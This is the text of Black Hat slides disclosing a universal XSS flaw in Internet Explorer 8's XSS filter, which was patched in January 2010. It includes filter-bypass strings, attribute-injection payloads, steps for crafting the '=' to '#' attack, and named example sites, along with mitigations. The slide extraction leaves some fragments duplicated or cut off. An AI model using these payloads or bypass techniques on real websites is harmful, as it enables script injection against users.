Universal XSS via IE8s XSS Filters

the sordid tale of a wayward hash sign

slides: http://p42.us/ie8xss/

About Us

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Outline

- Filter Details
- Bypasses
- Simple Abuse Cases
- uXSS Intro
- uXSS Details
- Mitigations
- Disclosure
 - Other Browsers

IE8s XSS Filters the mechanics Black Hat Briefings

Client-side XSS Filtering

- XSS is extremely common
- Reflected XSS is detectable in the browser
 - NoScript addon for Firefox
 - IE8
 - Chrome

Design Goals

- "...intended to mitigate reflected / "Type-1"
 XSS vulnerabilities in a way that does
 not "break the web."" -- David Ross
- compatible
- secure
- performant
- http://blogs.technet.com/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx

Detection Process

- Three step process
- Examine all outbound requests for XSS patterns using heuristic filters
- If heuristic matches outgoing HTTP request then create dynamic signature
- If signature matches HTTP response then neuter response



Heuristics

- Matches against GET/POST requests
- 23 regular expressions (2 new, 3 updated) hardcoded in mshtml.dll

```
-<sc{r}ipt.*?>
```

See http://p42.us/ie8xss/filters02.txt

http://site/p?name=<script>alert(0)</script

Dynamic Signatures

- One created for each matching heuristic
- Matches against inbound responses
- Blacklisting regular expressions
- Account for server side modifications

```
<div name="greeting">
Hello <script>alert(0) </script>!
</div>
```

Neutering Mechanism

- No user interaction, just notify the user
- Replace the flagged character(s) with the hash symbol: #
- Render the altered response

```
<div name="greeting">
Hello <sc#ipt>alert(0)</script>!
</div>
```

Heuristics Breakdown

- Fixed strings (2)
 - javascript:, vbscript:
- HTML tags (14)
 - object, applet, base, link, meta, import, embed,
 vmlframe, iframe, script(2), style, isindex, form
- HTML attributes (3)
 - "datasrc, "style=, "on*= (event handlers)
- JavaScript strings (4)
 - ";location=, ";a.b=, ");a(, ";a(b)

Filter Bypasses the joy of blacklisting **Black Hat Briefings**

Detects injections like:

```
",location="jav\u0061script:ale
rt(0)"//
```

Is an equal sign required? Nope :)

```
[\"\'][ ]*(([^a-z0-9~_:\'\"])|(in)).*?(<u>location</u>).*?
```

- "+{valueOf:location, toString: [].join,0:'jav\x61script:alert \x280)',length:1}//
 - http://goo.gl/sour

```
• How it works
• {
     valueOf: location,
     toString: [].join,
     0: 'payload',
     length: 1
}
```

```
• Array.prototype.join=function(p) {
   var r="";
   for(var i=0;i<this.length;i++) {
     r+=this[i];
     if(i)r+=p;
   }
   return r;
}</pre>
```



```
• How it works?

• {
     valueOf: location,
     toString: [].join,
     0: 'payload',
     length: 1
}
```

Array.prototype.join=function(p){
 var r="";
 for(var i=0;i<1;i++){
 r+='payload';
 if(i)r+=p;
 }
 return r;
 return re

```
• How it works?
• {
     valueOf: location,
     toString:
        /*returns 'payload'*/
}
```

```
• How it works?
• {
     valueOf: location,
     toString:
         /*returns 'payload'*/
}
```

On IE this works:

 location("http://www.google.com/");

 Behavior:

 function location(newLoc) {
 if(!newLoc)
 newLoc=this;
 navigate(newLoc+'');

```
• How it works?

• {
     valueOf:
        /*navigate(this+'');*/
     toString:
        /*returns 'payload'*/
}
```

```
[\"\'][ ]*(([^a-z0-9~_:\'\"])|(in)).*?(<u>location</u>).*?
```

- "+{valueOf:location, toString: [].join,0:'jav\x61script:alert \x280)',length:1}//
 - http://goo.gl/sour

```
[\"\'][ ]*(([^a-z0-9~_:\'\"])|(in)).*?(<u>location</u>).*?=
```

- "+{valueOf:location, toString:
 [].join,0:'jav\x61script:alert
 \x280)',length:1}//
- http://goo.gl/sour

Regular Expressions

Complex

Write only

Not perfect



```
{[\\\"\\'][ ]*(([^a-z~_:\\'\\"
0-9])|(in)).+?{\\(}.*?{\\)}}
```

Detects injections like:

```
js_xss=";alert(0)//
```

Doesn't detect:

```
foo='&js_xss=";alert(0)//
```

- .*? will match as few characters as possible due to the question mark char
- /b.*?d/('ab;bc;cd;de') //non-greedy
 - matches: b;bc;cd
- /b.*d/('ab;bc;cd;de') //greedy
 - matches: b;bc;cd;d

```
/["'].*\(.*\)/
foo='&js_xss=",alert(0)//
```

```
/["'].*\(.*\)/
foo='&js_xss=",alert(0)//
```

Heuristics match the payload:

```
'&js_xss=",alert(0)//
```

The real attack is:

```
",alert(0)// Oops.
```

The same bug works for HTML!

```
foo=<a&xss=<x:vmlframe
src=payload>
```

The heuristic matches in <a, but the attack starts in <x

http://goo.gl/KVDI

```
[\"\'][ ]*(([^a-z0-9~_:\'\"])|(in)).+?(({[.]}.+?)|({[\[]}.*?))=
```

Detects:

```
";document.URL='jav\x61script:
alert\x280)'//
```

```
[\"\'][ ]*(([^a-z0-9~_:\'\"])|(in)).+?(({[.]}.+?)|({[\[]}.*?))=
```

Does not detect:

```
";x:[document.URL='jav\x61scri
pt:alert\x280)']//
```

On IE, backtracking is limited:

```
/x.+?(abc|0.+0)w/('xz0abcw0');
```

- Doesn't match:
 - xz0abcw0
- But it should:
 - xz0abcw0

Simplified heuristic:

```
".*(\[.+?\]|\..+?)=
```

Doesn't match

```
"; [document.URL=asdf]//
```

But it should:

```
"; [document.URL=asdf]//
```

Filter Abuse


Attacks made possible because of the filters

Filter Abuse: Simple

- When an attack is detected, altering the response before rendering can have unintened consequences.
- Say attacker supplies a bogus GET parameter of &foo=<script>
- <sc{r}ipt.*?> will detect
- Any script tag on target page will be disabled

How is this useful for an attacker?

- Disable client side security features
 - Block Framebusters
 - Escape Facebook's CSS Sandbox
 - Any other JS based security controls
 - http://www.collinjackson.com/research/xss auditor.pdf contains a summary of the Facebook attack...



How is this useful for an attacker?

- Render JavaScript code as HTML
 - -<script>var foo='<img src=x:x
 onerror=alert(0)>';</script>
 - -<sc#ipt>var foo='<img src=x:x
 onerror=alert(0)>'</script>

Demo JS rendered as HTML

Review

- An attacker can abuse the filtering mechanism to alter how a page is rendered.
- The filters can be abused to enable XSS in situations where it wouldn't otherwise be possible.
- Can other filters be abused to enable
 XSS? Of course! (before Jan.2010 patch)

Universal XSS Intro

but it's just an equal sign...

Equal Signs

- Equal signs are neutered
 - [\"\'][]*(([^a-z09~_:\'\"])|(in)).*?(location).*?{=}
 - [\"\'][]*(([^a-z0-9~_:\'\"])|(in))
 .+?(([.].+?)|([\[].*?[\]].*?)){=}



Regular Expression Details

```
[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in))
.+?(([.].+?)|([\[].*?[\]].*?)){=}
```

- a quote followed by arbitrary spaces
- the word "in" or anything not in the list
- any characters repeated 1 or more times
- a period or brackets plus arbitrary text
- an equal sign



Matching Strings

Fake Injections

- Almost any = sign on a webpage can be neutered with a suitable "trigger string"
 - Easiest candidate is something of the form:
 - ' * *ANYTHING* . *ANYTHING* =
 - Start with target equal sign, find previous period, and then previous quote
 - append trigger string to URL:
 - &fake='>anything.anything=

Parsing HTML Quiz

-
-

-
 -

Parsing HTML Quiz

-
-

Note: IE8's source code viewer doesn't highlight these correctly

- <img alt#"x onload=alert(0) y"
 src="mars.png">
- <img alt#"x onload=alert(0) y"
 src="mars.png">

Universal XSS

Attack of the hash symbol

All Together Now

So...

- The filters can be used to change = to # by creating a fake trigger string
- Changing = to # will allow an attribute value to be parsed as new name/value
- An attacker would need to control the value of an HTML attribute



Exploitable Attributes

- Attribute injection must be persistent.
 - Very common on any interesting website.
- Vulnerable page must also have a suitable trigger string.
 - In practice, this is seldom a problem.
- Traditional XSS mitigations do not help.
 - Otherwise secure websites are vulnerable!

Example Injections

```
x style=x:expression(alert(0)) x
x/style=x:expression(alert(0));x:
x onerror=alert(0) x
x/onerror=alert(0)//
x onmouseover=location=name x
x/onmouseover=location=name//
x onmouseover=eval(name) x
x/onmouseover=eval(name)//
```

What do we need?

Be inside an attribute.

How common is that?

-99%?



URLs!

URLs make you vulnerable


After filter:

Crafting an Attack


- Identify a persistent injection
 - confirm and insert a suitable XSS string
- View source to identify a trigger string
 - work backwards from target = sign
- Create vulnerable URL to target page
 - append trigger string using a fake GET parameter




Vulnerable: Wikipedia




Vulnerable: Digg



Vulnerable: Bing



Vulnerable: Twitter



Vulnerable: Others

- Google: Initial PoC now uses X-XSS-Protection: 0
- Wikis
- BBCode forums and blogs
- Web-based email services
- Social media sites
- Banks
- and on and on...

Demonstration

- Be sure you are using a vulnerable version of Internet Explorer 8
- Visit http://0x.lv/attr.php and follow the directions



Mitigations, Patches, and Other Browsers

Mitigations

- From the client side:
 - Use a different browser (not recommended anymore)
 - Disable from settings IE settings panel (not recommended anymore)
 - Only earlier versions of IE8 are affected (prior to the January 2010 update) so...
 - Patch!!!



Should YOU Disable?

- Definitely no
- Benefits out way the risks
- If you are concerned about another similar attack becoming a 0-day, then put process into place so that X-XSS-Protection headers can be enabled/tweaked rapidly

Mitigations

- From the server side:
 - Filter user-generated content so that it is benign regardless of the context it is rendered in (difficult to do correctly)
 - Site-wide anti-CSRF tokens that prevent other all types of reflected XSS
 - Make use of the response header opt-out mechanism

X-XSS-Protection

- X-XSS-Protection: 0
 - turns off the filters completely
- X-XSS-Protection: 1; mode=block
 - not implemented in any browser (yet?)
 - leave filters on but block entire page
 - https://bugs.webkit.org/show_bug.cgi?id=3 4436

X-XSS-Protection

How should you protect your users?

- Leave filters enabled now that issue has been fixed.
- X-XSS-Protection: 1; mode=block



Disclosure Timeline

- Discovery: September 2009
- Notified Google: September 2009
- Notified Microsoft: September 2009
- The Register article: November 2009
- Patch released: January 2010
- Public disclosure: April 2010



Other Browsers

Firefox

- Only in Addons
 - NoScript (good)
 - NoXSS (no comment)
- For now, Firefox thinks this is sufficient.
- We don't.
- Need default protection must be built in.

Other Browsers

- Webkit is devleoping XSSAuditor
 - Filter-based
 - Sits between HTML parser and JS engine
 - Will respect the same control headers as IE8
 - http://www.collinjackson.com/research/xssau ditor.pdf contains details
 - To enable: --enable-xss-auditor



Comparison

Browser		Tabus in page 1	Noccipi
Design	Good	Very Good	Not Bad
Bypass	Very difficult	Bypassable	Bypassable
Safety	Not Safe, Better now	Safe	Very Safe
Compatibility	Very Compatible	Compatible	Not so compatible
User-friendly	Very	Unknown	Not so much



Questions!!!!

Do you have questions?

What are your questions?

Give me the questions!!



Thanks to...

- Gareth Heyes, Mario Heiderich, Alex K (kuza55) and the sla.ckers.org community for many brilliant ideas on web obfuscation and evasion.
- Jack Ramsdell (MSRC) along with David Ross and the IE8 development team for being great to work with in resolving these issues.
 - Black Hat for giving us the chance to present here
- You for attending!!! :)